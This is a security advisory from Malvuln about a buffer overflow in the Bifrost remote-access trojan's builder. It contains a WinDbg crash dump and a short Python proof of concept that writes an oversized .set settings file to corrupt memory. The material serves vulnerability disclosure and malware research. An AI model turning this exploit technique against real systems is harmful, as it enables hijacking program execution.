Tuesday, June 29, 2021

Constructor.Win32.Bifrose.asc Buffer Overflow / Heap Corruption

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9e1ef166901534c276b5eeeee511fe22.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Constructor.Win32.Bifrose.asc
Vulnerability: Local Stack Buffer Overflow (Heap Corruption)
Description: Bifrost doesn't properly validate the IP address when importing Bifrost settings (.set) files. The IP address offset is located after a NULL byte which is preceded by the Bifrost file header "BifrostSettings". A corrupted Bifrost .set file containing an invalid IP address of about 2300 bytes will trigger a local stack buffer overflow overwriting the EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution.
Type: PE32
MD5: 9e1ef166901534c276b5eeeee511fe22
Vuln ID: MVID-2021-0263
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 06/25/2021

Memory Dump:
0:000> r
Last set context:
eax=41414141 ebx=00186a38 ecx=00186a38 edx=0033f000 esi=00186a38 edi=00000000
eip=0044d008 esp=00185644 ebp=00185688 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210212
Constructor_Win32_Bifrose_asc+0x4d008:
0044d008 ff90f4000000 call dword ptr [eax+0F4h] ds:002b:41414235=????????

0:000> .ecxr
eax=41414141 ebx=00186a38 ecx=00186a38 edx=0033f000 esi=00186a38 edi=00000000
eip=0044d008 esp=00185644 ebp=00185688 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210212
Constructor_Win32_Bifrose_asc+0x4d008:
0044d008 ff90f4000000 call dword ptr [eax+0F4h] ds:002b:41414235=????????

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
Constructor_Win32_Bifrose_asc+4d008
0044d008 ff90f4000000 call dword ptr [eax+0F4h]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0044d008 (Constructor_Win32_Bifrose_asc+0x0004d008)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414235
Attempt to read from address 41414235

PROCESS_NAME: Constructor.Win32.Bifrose.asc.9e1ef166901534c276b5eeeee511fe22

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 41414235

READ_ADDRESS: 41414235

FOLLOWUP_IP:
Constructor_Win32_Bifrose_asc+4d008
0044d008 ff90f4000000 call dword ptr [eax+0F4h]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 000011e8

BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 004044aa to 0044d008

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
00185688 004044aa 00000000 001862b8 004029b1 Constructor_Win32_Bifrose_asc+0x4d008
00185694 004029b1 bb58b0ee 0018688c 0000074c Constructor_Win32_Bifrose_asc+0x44aa
001862b8 00000000 00000000 00000000 00000000 Constructor_Win32_Bifrose_asc+0x29b1


STACK_COMMAND: !heap ; ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: Constructor_Win32_Bifrose_asc+4d008

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: Constructor_Win32_Bifrose_asc

IMAGE_NAME: Constructor.Win32.Bifrose.asc.9e1ef166901534c276b5eeeee511fe22

DEBUG_FLR_IMAGE_TIMESTAMP: 4775164b

FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Constructor.Win32.Bifrose.asc.9e1ef166901534c276b5eeeee511fe22!Unknown

BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_Constructor_Win32_Bifrose_asc+4d008


Exploit/PoC:
1) To create the corrupt bifrost .set file you need the "BifrostSettings" header followed by a NULL byte followed by the payload. Otherwise, will get not a valid settings file error.

import struct

f=open('DOOM.set', 'wb')
f.write("BifrostSettings".encode('ascii'))
f.write(struct.pack('B', 0))
f.write(str("A"*2300).encode('ascii'))
f.close()

2) Go to builder menu item in bifrost
3) Import the corrupt bifrost .set (settings) file, Done!


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Thanks for everything Templateism - You should have written the code a little more complicated